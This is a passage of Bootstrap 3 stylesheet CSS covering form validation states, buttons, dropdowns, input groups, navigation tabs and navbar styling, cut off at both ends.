rgba(0, 0, 0, .075), 0 0 6px #ce8483; } .has-error .input-group-addon { color: #a94442; background-color: #f2dede; border-color: #a94442; } .has-error .form-control-feedback { color: #a94442; } .has-feedback label ~ .form-control-feedback { top: 25px; } .has-feedback label.sr-only ~ .form-control-feedback { top: 0; } .help-block { display: block; margin-top: 5px; margin-bottom: 10px; color: #737373; } @media (min-width: 768px) { .form-inline .form-group { display: inline-block; margin-bottom: 0; vertical-align: middle; } .form-inline .form-control { display: inline-block; width: auto; vertical-align: middle; } .form-inline .form-control-static { display: inline-block; } .form-inline .input-group { display: inline-table; vertical-align: middle; } .form-inline .input-group .input-group-addon, .form-inline .input-group .input-group-btn, .form-inline .input-group .form-control { width: auto; } .form-inline .input-group > .form-control { width: 100%; } .form-inline .control-label { margin-bottom: 0; vertical-align: middle; } .form-inline .radio, .form-inline .checkbox { display: inline-block; margin-top: 0; margin-bottom: 0; vertical-align: middle; } .form-inline .radio label, .form-inline .checkbox label { padding-left: 0; } .form-inline .radio input[type="radio"], .form-inline .checkbox input[type="checkbox"] { position: relative; margin-left: 0; } .form-inline .has-feedback .form-control-feedback { top: 0; } } .form-horizontal .radio, .form-horizontal .checkbox, .form-horizontal .radio-inline, .form-horizontal .checkbox-inline { padding-top: 7px; margin-top: 0; margin-bottom: 0; } .form-horizontal .radio, .form-horizontal .checkbox { min-height: 27px; } .form-horizontal .form-group { margin-right: -15px; margin-left: -15px; } @media (min-width: 768px) { .form-horizontal .control-label { padding-top: 7px; margin-bottom: 0; text-align: right; } } .form-horizontal .has-feedback .form-control-feedback { right: 15px; } @media (min-width: 768px) { .form-horizontal .form-group-lg .control-label { padding-top: 14.333333px; } } @media (min-width: 768px) { .form-horizontal .form-group-sm .control-label { padding-top: 6px; } } .btn { display: inline-block; padding: 6px 12px; margin-bottom: 0; font-size: 14px; font-weight: normal; line-height: 1.42857143; text-align: center; white-space: nowrap; vertical-align: middle; -ms-touch-action: manipulation; touch-action: manipulation; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-image: none; border: 1px solid transparent; border-radius: 4px; } .btn:focus, .btn:active:focus, .btn.active:focus, .btn.focus, .btn:active.focus, .btn.active.focus { outline: thin dotted; outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } .btn:hover, .btn:focus, .btn.focus { color: #333; text-decoration: none; } .btn:active, .btn.active { background-image: none; outline: 0; -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); } .btn.disabled, .btn[disabled], fieldset[disabled] .btn { pointer-events: none; cursor: not-allowed; filter: alpha(opacity=65); -webkit-box-shadow: none; box-shadow: none; opacity: .65; } .btn-default { color: #333; background-color: #fff; border-color: #ccc; } .btn-default:hover, .btn-default:focus, .btn-default.focus, .btn-default:active, .btn-default.active, .open > .dropdown-toggle.btn-default { color: #333; background-color: #e6e6e6; border-color: #adadad; } .btn-default:active, .btn-default.active, .open > .dropdown-toggle.btn-default { background-image: none; } .btn-default.disabled, .btn-default[disabled], fieldset[disabled] .btn-default, .btn-default.disabled:hover, .btn-default[disabled]:hover, fieldset[disabled] .btn-default:hover, .btn-default.disabled:focus, .btn-default[disabled]:focus, fieldset[disabled] .btn-default:focus, .btn-default.disabled.focus, .btn-default[disabled].focus, fieldset[disabled] .btn-default.focus, .btn-default.disabled:active, .btn-default[disabled]:active, fieldset[disabled] .btn-default:active, .btn-default.disabled.active, .btn-default[disabled].active, fieldset[disabled] .btn-default.active { background-color: #fff; border-color: #ccc; } .btn-default .badge { color: #fff; background-color: #333; } .btn-primary { color: #fff; background-color: #337ab7; border-color: #2e6da4; } .btn-primary:hover, .btn-primary:focus, .btn-primary.focus, .btn-primary:active, .btn-primary.active, .open > .dropdown-toggle.btn-primary { color: #fff; background-color: #286090; border-color: #204d74; } .btn-primary:active, .btn-primary.active, .open > .dropdown-toggle.btn-primary { background-image: none; } .btn-primary.disabled, .btn-primary[disabled], fieldset[disabled] .btn-primary, .btn-primary.disabled:hover, .btn-primary[disabled]:hover, fieldset[disabled] .btn-primary:hover, .btn-primary.disabled:focus, .btn-primary[disabled]:focus, fieldset[disabled] .btn-primary:focus, .btn-primary.disabled.focus, .btn-primary[disabled].focus, fieldset[disabled] .btn-primary.focus, .btn-primary.disabled:active, .btn-primary[disabled]:active, fieldset[disabled] .btn-primary:active, .btn-primary.disabled.active, .btn-primary[disabled].active, fieldset[disabled] .btn-primary.active { background-color: #337ab7; border-color: #2e6da4; } .btn-primary .badge { color: #337ab7; background-color: #fff; } .btn-success { color: #fff; background-color: #5cb85c; border-color: #4cae4c; } .btn-success:hover, .btn-success:focus, .btn-success.focus, .btn-success:active, .btn-success.active, .open > .dropdown-toggle.btn-success { color: #fff; background-color: #449d44; border-color: #398439; } .btn-success:active, .btn-success.active, .open > .dropdown-toggle.btn-success { background-image: none; } .btn-success.disabled, .btn-success[disabled], fieldset[disabled] .btn-success, .btn-success.disabled:hover, .btn-success[disabled]:hover, fieldset[disabled] .btn-success:hover, .btn-success.disabled:focus, .btn-success[disabled]:focus, fieldset[disabled] .btn-success:focus, .btn-success.disabled.focus, .btn-success[disabled].focus, fieldset[disabled] .btn-success.focus, .btn-success.disabled:active, .btn-success[disabled]:active, fieldset[disabled] .btn-success:active, .btn-success.disabled.active, .btn-success[disabled].active, fieldset[disabled] .btn-success.active { background-color: #5cb85c; border-color: #4cae4c; } .btn-success .badge { color: #5cb85c; background-color: #fff; } .btn-info { color: #fff; background-color: #5bc0de; border-color: #46b8da; } .btn-info:hover, .btn-info:focus, .btn-info.focus, .btn-info:active, .btn-info.active, .open > .dropdown-toggle.btn-info { color: #fff; background-color: #31b0d5; border-color: #269abc; } .btn-info:active, .btn-info.active, .open > .dropdown-toggle.btn-info { background-image: none; } .btn-info.disabled, .btn-info[disabled], fieldset[disabled] .btn-info, .btn-info.disabled:hover, .btn-info[disabled]:hover, fieldset[disabled] .btn-info:hover, .btn-info.disabled:focus, .btn-info[disabled]:focus, fieldset[disabled] .btn-info:focus, .btn-info.disabled.focus, .btn-info[disabled].focus, fieldset[disabled] .btn-info.focus, .btn-info.disabled:active, .btn-info[disabled]:active, fieldset[disabled] .btn-info:active, .btn-info.disabled.active, .btn-info[disabled].active, fieldset[disabled] .btn-info.active { background-color: #5bc0de; border-color: #46b8da; } .btn-info .badge { color: #5bc0de; background-color: #fff; } .btn-warning { color: #fff; background-color: #f0ad4e; border-color: #eea236; } .btn-warning:hover, .btn-warning:focus, .btn-warning.focus, .btn-warning:active, .btn-warning.active, .open > .dropdown-toggle.btn-warning { color: #fff; background-color: #ec971f; border-color: #d58512; } .btn-warning:active, .btn-warning.active, .open > .dropdown-toggle.btn-warning { background-image: none; } .btn-warning.disabled, .btn-warning[disabled], fieldset[disabled] .btn-warning, .btn-warning.disabled:hover, .btn-warning[disabled]:hover, fieldset[disabled] .btn-warning:hover, .btn-warning.disabled:focus, .btn-warning[disabled]:focus, fieldset[disabled] .btn-warning:focus, .btn-warning.disabled.focus, .btn-warning[disabled].focus, fieldset[disabled] .btn-warning.focus, .btn-warning.disabled:active, .btn-warning[disabled]:active, fieldset[disabled] .btn-warning:active, .btn-warning.disabled.active, .btn-warning[disabled].active, fieldset[disabled] .btn-warning.active { background-color: #f0ad4e; border-color: #eea236; } .btn-warning .badge { color: #f0ad4e; background-color: #fff; } .btn-danger { color: #fff; background-color: #d9534f; border-color: #d43f3a; } .btn-danger:hover, .btn-danger:focus, .btn-danger.focus, .btn-danger:active, .btn-danger.active, .open > .dropdown-toggle.btn-danger { color: #fff; background-color: #c9302c; border-color: #ac2925; } .btn-danger:active, .btn-danger.active, .open > .dropdown-toggle.btn-danger { background-image: none; } .btn-danger.disabled, .btn-danger[disabled], fieldset[disabled] .btn-danger, .btn-danger.disabled:hover, .btn-danger[disabled]:hover, fieldset[disabled] .btn-danger:hover, .btn-danger.disabled:focus, .btn-danger[disabled]:focus, fieldset[disabled] .btn-danger:focus, .btn-danger.disabled.focus, .btn-danger[disabled].focus, fieldset[disabled] .btn-danger.focus, .btn-danger.disabled:active, .btn-danger[disabled]:active, fieldset[disabled] .btn-danger:active, .btn-danger.disabled.active, .btn-danger[disabled].active, fieldset[disabled] .btn-danger.active { background-color: #d9534f; border-color: #d43f3a; } .btn-danger .badge { color: #d9534f; background-color: #fff; } .btn-link { font-weight: normal; color: #337ab7; border-radius: 0; } .btn-link, .btn-link:active, .btn-link.active, .btn-link[disabled], fieldset[disabled] .btn-link { background-color: transparent; -webkit-box-shadow: none; box-shadow: none; } .btn-link, .btn-link:hover, .btn-link:focus, .btn-link:active { border-color: transparent; } .btn-link:hover, .btn-link:focus { color: #23527c; text-decoration: underline; background-color: transparent; } .btn-link[disabled]:hover, fieldset[disabled] .btn-link:hover, .btn-link[disabled]:focus, fieldset[disabled] .btn-link:focus { color: #777; text-decoration: none; } .btn-lg, .btn-group-lg > .btn { padding: 10px 16px; font-size: 18px; line-height: 1.3333333; border-radius: 6px; } .btn-sm, .btn-group-sm > .btn { padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } .btn-xs, .btn-group-xs > .btn { padding: 1px 5px; font-size: 12px; line-height: 1.5; border-radius: 3px; } .btn-block { display: block; width: 100%; } .btn-block + .btn-block { margin-top: 5px; } input[type="submit"].btn-block, input[type="reset"].btn-block, input[type="button"].btn-block { width: 100%; } .fade { opacity: 0; -webkit-transition: opacity .15s linear; -o-transition: opacity .15s linear; transition: opacity .15s linear; } .fade.in { opacity: 1; } .collapse { display: none; } .collapse.in { display: block; } tr.collapse.in { display: table-row; } tbody.collapse.in { display: table-row-group; } .collapsing { position: relative; height: 0; overflow: hidden; -webkit-transition-timing-function: ease; -o-transition-timing-function: ease; transition-timing-function: ease; -webkit-transition-duration: .35s; -o-transition-duration: .35s; transition-duration: .35s; -webkit-transition-property: height, visibility; -o-transition-property: height, visibility; transition-property: height, visibility; } .caret { display: inline-block; width: 0; height: 0; margin-left: 2px; vertical-align: middle; border-top: 4px dashed; border-right: 4px solid transparent; border-left: 4px solid transparent; } .dropup, .dropdown { position: relative; } .dropdown-toggle:focus { outline: 0; } .dropdown-menu { position: absolute; top: 100%; left: 0; z-index: 1000; display: none; float: left; min-width: 160px; padding: 5px 0; margin: 2px 0 0; font-size: 14px; text-align: left; list-style: none; background-color: #fff; -webkit-background-clip: padding-box; background-clip: padding-box; border: 1px solid #ccc; border: 1px solid rgba(0, 0, 0, .15); border-radius: 4px; -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, .175); box-shadow: 0 6px 12px rgba(0, 0, 0, .175); } .dropdown-menu.pull-right { right: 0; left: auto; } .dropdown-menu .divider { height: 1px; margin: 9px 0; overflow: hidden; background-color: #e5e5e5; } .dropdown-menu > li > a { display: block; padding: 3px 20px; clear: both; font-weight: normal; line-height: 1.42857143; color: #333; white-space: nowrap; } .dropdown-menu > li > a:hover, .dropdown-menu > li > a:focus { color: #262626; text-decoration: none; background-color: #f5f5f5; } .dropdown-menu > .active > a, .dropdown-menu > .active > a:hover, .dropdown-menu > .active > a:focus { color: #fff; text-decoration: none; background-color: #337ab7; outline: 0; } .dropdown-menu > .disabled > a, .dropdown-menu > .disabled > a:hover, .dropdown-menu > .disabled > a:focus { color: #777; } .dropdown-menu > .disabled > a:hover, .dropdown-menu > .disabled > a:focus { text-decoration: none; cursor: not-allowed; background-color: transparent; background-image: none; filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); } .open > .dropdown-menu { display: block; } .open > a { outline: 0; } .dropdown-menu-right { right: 0; left: auto; } .dropdown-menu-left { right: auto; left: 0; } .dropdown-header { display: block; padding: 3px 20px; font-size: 12px; line-height: 1.42857143; color: #777; white-space: nowrap; } .dropdown-backdrop { position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 990; } .pull-right > .dropdown-menu { right: 0; left: auto; } .dropup .caret, .navbar-fixed-bottom .dropdown .caret { content: ""; border-top: 0; border-bottom: 4px solid; } .dropup .dropdown-menu, .navbar-fixed-bottom .dropdown .dropdown-menu { top: auto; bottom: 100%; margin-bottom: 2px; } @media (min-width: 768px) { .navbar-right .dropdown-menu { right: 0; left: auto; } .navbar-right .dropdown-menu-left { right: auto; left: 0; } } .btn-group, .btn-group-vertical { position: relative; display: inline-block; vertical-align: middle; } .btn-group > .btn, .btn-group-vertical > .btn { position: relative; float: left; } .btn-group > .btn:hover, .btn-group-vertical > .btn:hover, .btn-group > .btn:focus, .btn-group-vertical > .btn:focus, .btn-group > .btn:active, .btn-group-vertical > .btn:active, .btn-group > .btn.active, .btn-group-vertical > .btn.active { z-index: 2; } .btn-group .btn + .btn, .btn-group .btn + .btn-group, .btn-group .btn-group + .btn, .btn-group .btn-group + .btn-group { margin-left: -1px; } .btn-toolbar { margin-left: -5px; } .btn-toolbar .btn-group, .btn-toolbar .input-group { float: left; } .btn-toolbar > .btn, .btn-toolbar > .btn-group, .btn-toolbar > .input-group { margin-left: 5px; } .btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) { border-radius: 0; } .btn-group > .btn:first-child { margin-left: 0; } .btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) { border-top-right-radius: 0; border-bottom-right-radius: 0; } .btn-group > .btn:last-child:not(:first-child), .btn-group > .dropdown-toggle:not(:first-child) { border-top-left-radius: 0; border-bottom-left-radius: 0; } .btn-group > .btn-group { float: left; } .btn-group > .btn-group:not(:first-child):not(:last-child) > .btn { border-radius: 0; } .btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child, .btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle { border-top-right-radius: 0; border-bottom-right-radius: 0; } .btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child { border-top-left-radius: 0; border-bottom-left-radius: 0; } .btn-group .dropdown-toggle:active, .btn-group.open .dropdown-toggle { outline: 0; } .btn-group > .btn + .dropdown-toggle { padding-right: 8px; padding-left: 8px; } .btn-group > .btn-lg + .dropdown-toggle { padding-right: 12px; padding-left: 12px; } .btn-group.open .dropdown-toggle { -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); } .btn-group.open .dropdown-toggle.btn-link { -webkit-box-shadow: none; box-shadow: none; } .btn .caret { margin-left: 0; } .btn-lg .caret { border-width: 5px 5px 0; border-bottom-width: 0; } .dropup .btn-lg .caret { border-width: 0 5px 5px; } .btn-group-vertical > .btn, .btn-group-vertical > .btn-group, .btn-group-vertical > .btn-group > .btn { display: block; float: none; width: 100%; max-width: 100%; } .btn-group-vertical > .btn-group > .btn { float: none; } .btn-group-vertical > .btn + .btn, .btn-group-vertical > .btn + .btn-group, .btn-group-vertical > .btn-group + .btn, .btn-group-vertical > .btn-group + .btn-group { margin-top: -1px; margin-left: 0; } .btn-group-vertical > .btn:not(:first-child):not(:last-child) { border-radius: 0; } .btn-group-vertical > .btn:first-child:not(:last-child) { border-top-right-radius: 4px; border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .btn-group-vertical > .btn:last-child:not(:first-child) { border-top-left-radius: 0; border-top-right-radius: 0; border-bottom-left-radius: 4px; } .btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn { border-radius: 0; } .btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child, .btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle { border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child { border-top-left-radius: 0; border-top-right-radius: 0; } .btn-group-justified { display: table; width: 100%; table-layout: fixed; border-collapse: separate; } .btn-group-justified > .btn, .btn-group-justified > .btn-group { display: table-cell; float: none; width: 1%; } .btn-group-justified > .btn-group .btn { width: 100%; } .btn-group-justified > .btn-group .dropdown-menu { left: auto; } [data-toggle="buttons"] > .btn input[type="radio"], [data-toggle="buttons"] > .btn-group > .btn input[type="radio"], [data-toggle="buttons"] > .btn input[type="checkbox"], [data-toggle="buttons"] > .btn-group > .btn input[type="checkbox"] { position: absolute; clip: rect(0, 0, 0, 0); pointer-events: none; } .input-group { position: relative; display: table; border-collapse: separate; } .input-group[class*="col-"] { float: none; padding-right: 0; padding-left: 0; } .input-group .form-control { position: relative; z-index: 2; float: left; width: 100%; margin-bottom: 0; } .input-group-lg > .form-control, .input-group-lg > .input-group-addon, .input-group-lg > .input-group-btn > .btn { height: 46px; padding: 10px 16px; font-size: 18px; line-height: 1.3333333; border-radius: 6px; } select.input-group-lg > .form-control, select.input-group-lg > .input-group-addon, select.input-group-lg > .input-group-btn > .btn { height: 46px; line-height: 46px; } textarea.input-group-lg > .form-control, textarea.input-group-lg > .input-group-addon, textarea.input-group-lg > .input-group-btn > .btn, select[multiple].input-group-lg > .form-control, select[multiple].input-group-lg > .input-group-addon, select[multiple].input-group-lg > .input-group-btn > .btn { height: auto; } .input-group-sm > .form-control, .input-group-sm > .input-group-addon, .input-group-sm > .input-group-btn > .btn { height: 30px; padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } select.input-group-sm > .form-control, select.input-group-sm > .input-group-addon, select.input-group-sm > .input-group-btn > .btn { height: 30px; line-height: 30px; } textarea.input-group-sm > .form-control, textarea.input-group-sm > .input-group-addon, textarea.input-group-sm > .input-group-btn > .btn, select[multiple].input-group-sm > .form-control, select[multiple].input-group-sm > .input-group-addon, select[multiple].input-group-sm > .input-group-btn > .btn { height: auto; } .input-group-addon, .input-group-btn, .input-group .form-control { display: table-cell; } .input-group-addon:not(:first-child):not(:last-child), .input-group-btn:not(:first-child):not(:last-child), .input-group .form-control:not(:first-child):not(:last-child) { border-radius: 0; } .input-group-addon, .input-group-btn { width: 1%; white-space: nowrap; vertical-align: middle; } .input-group-addon { padding: 6px 12px; font-size: 14px; font-weight: normal; line-height: 1; color: #555; text-align: center; background-color: #eee; border: 1px solid #ccc; border-radius: 4px; } .input-group-addon.input-sm { padding: 5px 10px; font-size: 12px; border-radius: 3px; } .input-group-addon.input-lg { padding: 10px 16px; font-size: 18px; border-radius: 6px; } .input-group-addon input[type="radio"], .input-group-addon input[type="checkbox"] { margin-top: 0; } .input-group .form-control:first-child, .input-group-addon:first-child, .input-group-btn:first-child > .btn, .input-group-btn:first-child > .btn-group > .btn, .input-group-btn:first-child > .dropdown-toggle, .input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle), .input-group-btn:last-child > .btn-group:not(:last-child) > .btn { border-top-right-radius: 0; border-bottom-right-radius: 0; } .input-group-addon:first-child { border-right: 0; } .input-group .form-control:last-child, .input-group-addon:last-child, .input-group-btn:last-child > .btn, .input-group-btn:last-child > .btn-group > .btn, .input-group-btn:last-child > .dropdown-toggle, .input-group-btn:first-child > .btn:not(:first-child), .input-group-btn:first-child > .btn-group:not(:first-child) > .btn { border-top-left-radius: 0; border-bottom-left-radius: 0; } .input-group-addon:last-child { border-left: 0; } .input-group-btn { position: relative; font-size: 0; white-space: nowrap; } .input-group-btn > .btn { position: relative; } .input-group-btn > .btn + .btn { margin-left: -1px; } .input-group-btn > .btn:hover, .input-group-btn > .btn:focus, .input-group-btn > .btn:active { z-index: 2; } .input-group-btn:first-child > .btn, .input-group-btn:first-child > .btn-group { margin-right: -1px; } .input-group-btn:last-child > .btn, .input-group-btn:last-child > .btn-group { margin-left: -1px; } .nav { padding-left: 0; margin-bottom: 0; list-style: none; } .nav > li { position: relative; display: block; } .nav > li > a { position: relative; display: block; padding: 10px 15px; } .nav > li > a:hover, .nav > li > a:focus { text-decoration: none; background-color: #eee; } .nav > li.disabled > a { color: #777; } .nav > li.disabled > a:hover, .nav > li.disabled > a:focus { color: #777; text-decoration: none; cursor: not-allowed; background-color: transparent; } .nav .open > a, .nav .open > a:hover, .nav .open > a:focus { background-color: #eee; border-color: #337ab7; } .nav .nav-divider { height: 1px; margin: 9px 0; overflow: hidden; background-color: #e5e5e5; } .nav > li > a > img { max-width: none; } .nav-tabs { border-bottom: 1px solid #ddd; } .nav-tabs > li { float: left; margin-bottom: -1px; } .nav-tabs > li > a { margin-right: 2px; line-height: 1.42857143; border: 1px solid transparent; border-radius: 4px 4px 0 0; } .nav-tabs > li > a:hover { border-color: #eee #eee #ddd; } .nav-tabs > li.active > a, .nav-tabs > li.active > a:hover, .nav-tabs > li.active > a:focus { color: #555; cursor: default; background-color: #fff; border: 1px solid #ddd; border-bottom-color: transparent; } .nav-tabs.nav-justified { width: 100%; border-bottom: 0; } .nav-tabs.nav-justified > li { float: none; } .nav-tabs.nav-justified > li > a { margin-bottom: 5px; text-align: center; } .nav-tabs.nav-justified > .dropdown .dropdown-menu { top: auto; left: auto; } @media (min-width: 768px) { .nav-tabs.nav-justified > li { display: table-cell; width: 1%; } .nav-tabs.nav-justified > li > a { margin-bottom: 0; } } .nav-tabs.nav-justified > li > a { margin-right: 0; border-radius: 4px; } .nav-tabs.nav-justified > .active > a, .nav-tabs.nav-justified > .active > a:hover, .nav-tabs.nav-justified > .active > a:focus { border: 1px solid #ddd; } @media (min-width: 768px) { .nav-tabs.nav-justified > li > a { border-bottom: 1px solid #ddd; border-radius: 4px 4px 0 0; } .nav-tabs.nav-justified > .active > a, .nav-tabs.nav-justified > .active > a:hover, .nav-tabs.nav-justified > .active > a:focus { border-bottom-color: #fff; } } .nav-pills > li { float: left; } .nav-pills > li > a { border-radius: 4px; } .nav-pills > li + li { margin-left: 2px; } .nav-pills > li.active > a, .nav-pills > li.active > a:hover, .nav-pills > li.active > a:focus { color: #fff; background-color: #337ab7; } .nav-stacked > li { float: none; } .nav-stacked > li + li { margin-top: 2px; margin-left: 0; } .nav-justified { width: 100%; } .nav-justified > li { float: none; } .nav-justified > li > a { margin-bottom: 5px; text-align: center; } .nav-justified > .dropdown .dropdown-menu { top: auto; left: auto; } @media (min-width: 768px) { .nav-justified > li { display: table-cell; width: 1%; } .nav-justified > li > a { margin-bottom: 0; } } .nav-tabs-justified { border-bottom: 0; } .nav-tabs-justified > li > a { margin-right: 0; border-radius: 4px; } .nav-tabs-justified > .active > a, .nav-tabs-justified > .active > a:hover, .nav-tabs-justified > .active > a:focus { border: 1px solid #ddd; } @media (min-width: 768px) { .nav-tabs-justified > li > a { border-bottom: 1px solid #ddd; border-radius: 4px 4px 0 0; } .nav-tabs-justified > .active > a, .nav-tabs-justified > .active > a:hover, .nav-tabs-justified > .active > a:focus { border-bottom-color: #fff; } } .tab-content > .tab-pane { display: none; } .tab-content > .active { display: block; } .nav-tabs .dropdown-menu { margin-top: -1px; border-top-left-radius: 0; border-top-right-radius: 0; } .navbar { position: relative; min-height: 50px; margin-bottom: 20px; border: 1px solid transparent; } @media (min-width: 768px) { .navbar { border-radius: 4px; } } @media (min-width: 768px) { .navbar-header { float: left; } } .navbar-collapse { padding-right: 15px; padding-left: 15px; overflow-x: visible; -webkit-overflow-scrolling: touch; border-top: 1px solid transparent; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1); box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1); } .navbar-collapse.in { overflow-y: auto; } @media (min-width: 768px) { .navbar-collapse { width: auto; border-top: 0; -webkit-box-shadow: none; box-shadow: none; } .navbar-collapse.collapse { display: block !important; height: auto !important; padding-bottom: 0; overflow: visible !important; } .navbar-collapse.in { overflow-y: visible; } .navbar-fixed-top .navbar-collapse, .navbar-static-top .navbar-collapse, .navbar-fixed-bottom .navbar-collapse { padding-right: 0; padding-left: 0; } } .navbar-fixed-top .navbar-collapse, .navbar-fixed-bottom .navbar-collapse { max-height: 340px; } @media (max-device-width: 480px) and (orientation: landscape) { .navbar-fixed-top .navbar-collapse, .navbar-fixed-bottom .navbar-collapse { max-height: 200px; } } .container > .navbar-header, .container-fluid > .navbar-header, .container > .navbar-collapse, .container-fluid > .navbar-collapse { margin-right: -15px; margin-left: -15px; } @media (min-width: 768px) { .container > .navbar-header, .container-fluid > .navbar-header, .container > .navbar-collapse, .container-fluid > .navbar-collapse { margin-right: 0; margin-left: 0; } } .navbar-static-top { z-index: 1000; border-width: 0 0 1px; } @media (min-width: 768px) { .navbar-static-top { border-radius: 0; } } .navbar-fixed-top, .navbar-fixed-bottom { position: fixed; right: 0; left: 0; z-index: 1030; } @media (min-width: 768px) { .navbar-fixed-top, .navbar-fixed-bottom { border-radius: 0; } } .navbar-fixed-top { top: 0; border-width: 0 0 1px; } .navbar-fixed-bottom { bottom: 0; margin-bottom: 0; border-width: 1px 0 0; } .navbar-brand { float: left; height: 50px; padding: 15px 15px; font-size: 18px; line-height: 20px; } .navbar-brand:hover, .navbar-brand:focus { text-decoration: none; } .navbar-brand > img { display: block; } @media (min-width: 768px) { .navbar > .container .navbar-brand, .navbar > .container-fluid .navbar-brand { margin-left: -15px; } } .navbar-toggle { position: relative; float: right; padding: 9px 10px; margin-top: 8px; margin-right: 15px; margin-bottom: 8px; background-color: transparent; background-image: none; border: 1px solid transparent; border-radius: 4px; } .navbar-toggle:focus { outline: 0; } .navbar-toggle .icon-bar { display: block; width: 22px; height: 2px; border-radius: 1px; } .navbar-toggle .icon-bar + .icon-bar { margin-top: 4px; } @media (min-width: 768px) { .navbar-toggle { display: none; } } .navbar-nav { margin: 7.5px -15px; } .navbar-nav > li > a { padding-top: 10px; padding-bottom: 10px; line-height: 20px; } @media (max-width: 767px) { .navbar-nav .open .dropdown-menu { position: static; float: none; width: auto; margin-top: 0; background-color: transparent; border: 0; -webkit-box-shadow: none; box-shadow: none; } .navbar-nav .open .dropdown-menu > li > a, .navbar-nav .open .dropdown-menu .dropdown-header { padding: 5px 15px 5px 25px; } .navbar-nav .open .dropdown-menu > li > a { line-height: 20px; } .navbar-nav .open .dropdown-menu > li > a:hover, .navbar-nav .open .dropdown-menu > li > a:focus { background-image: none; } } @media (min-width: 768px) { .navbar-nav { float: left; margin: 0; } .navbar-nav > li { float: left; } .navbar-nav > li > a { padding-top: 15px; padding-bottom: 15px; } } .navbar-form { padding: 10px 15px; margin-top: 8px; margin-right: -15px; margin-bottom: 8px; margin-left: -15px; border-top: 1px solid transparent; border-bottom: 1px solid transparent; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1); box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1); } @media (min-width: 768px) { .navbar-form .form-group { display: inline-block; margin-bottom: 0; vertical-align: middle; } .navbar-form .form-control { display: inline-block; width: auto; vertical-align: middle; } .navbar-form .form-control-static { display: inline-block; } .navbar-form .input-group { display: inline-table; vertical-align: middle; } .navbar-form .input-group .input-group-addon, .navbar-form .input-group .input-group-btn, .navbar-form .input-group .form-control { width: auto; } .navbar-form .input-group > .form-control { width: 100%; } .navbar-form .control-label { margin-bottom: 0; vertical-align: middle; } .navbar-form .radio, .navbar-form .checkbox { display: inline-block; margin-top: 0; margin-bottom: 0; vertical-align: middle; } .navbar-form .radio label, .navbar-form .checkbox label { padding-left: 0; } .navbar-form .radio input[type="radio"], .navbar-form .checkbox input[type="checkbox"] { position: relative; margin-left: 0; } .navbar-form .has-feedback .form-control-feedback { top: 0; } } @media (max-width: 767px) { .navbar-form .form-group { margin-bottom: 5px; } .navbar-form .form-group:last-child { margin-bottom: 0; } } @media (min-width: 768px) { .navbar-form { width: auto; padding-top: 0; padding-bottom: 0; margin-right: 0; margin-left: 0; border: 0; -webkit-box-shadow: none; box-shadow: none; } } .navbar-nav > li > .dropdown-menu { margin-top: 0; border-top-left-radius: 0; border-top-right-radius: 0; } .navbar-fixed-bottom .navbar-nav > li > .dropdown-menu { margin-bottom: 0; border-top-left-radius: 4px; border-top-right-radius: 4px; border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .navbar-btn { margin-top: 8px; margin-bottom: 8px; } .navbar-btn.btn-sm { margin-top: 10px; margin-bottom: 10px; } .navbar-btn.btn-xs { margin-top: 14px; margin-bottom: 14px; } .navbar-text { margin-top: 15px; margin-bottom: 15px; } @media (min-width: 768px) { .navbar-text { float: left; margin-right: 15px; margin-left: 15px; } } @media (min-width: 768px) { .navbar-left { float: left !important; } .navbar-right { float: right !important; margin-right: -15px; } .navbar-right ~ .navbar-right { margin-right: 0; } } .navbar-default { background-color: #f8f8f8; border-color: #e7e7e7; } .navbar-default .navbar-brand { color: #777; } .navbar-default .navbar-brand:hover, .navbar-default .navbar-brand:focus { color: #5e5e5e; background-color: transparent; } .navbar-default .navbar-text { color: #777; } .navbar-default .navbar-nav > li > a { color: #777; } .navbar-default .navbar-nav > li > a:hover, .navbar-default .navbar-nav > li > a:focus { color: #333; background-color: transparent; } .navbar-default .navbar-nav > .active > a, .navbar-default .navbar-nav > .active > a:hover, .navbar-default .navbar-nav > .active > a:focus { color: #555; background-color: #e7e7e7; } .navbar-default .navbar-nav > .disabled > a, .navbar-default .navbar-nav > .disabled > a:hover, .navbar-default .navbar-nav > .disabled > a:focus { color: #ccc; background-color: transparent; } .navbar-default .navbar-toggle { border-color: #ddd; } .navbar-default .navbar-toggle:hover, .navbar-default .navbar-toggle:focus { background-color: #ddd; } .navbar-default .navbar-toggle .icon-bar { background-color: #888; } .navbar-default .navbar-collapse, .navbar-default .navbar-form { border-color: #e7e7e7; } .navbar-default .navbar-nav > .open > a, .navbar-default .navbar-nav > .open > a:hover, .navbar-default .navbar-nav > .open > a:focus { color: #555; background-color: #e7e7e7; } @media (max-width: 767px) { .navbar-default .navbar-nav .open .dropdown-menu > li > a { color: #777; } .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover, .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus { color: #333; background-color: transparent; } .navbar-default .navbar-nav .open 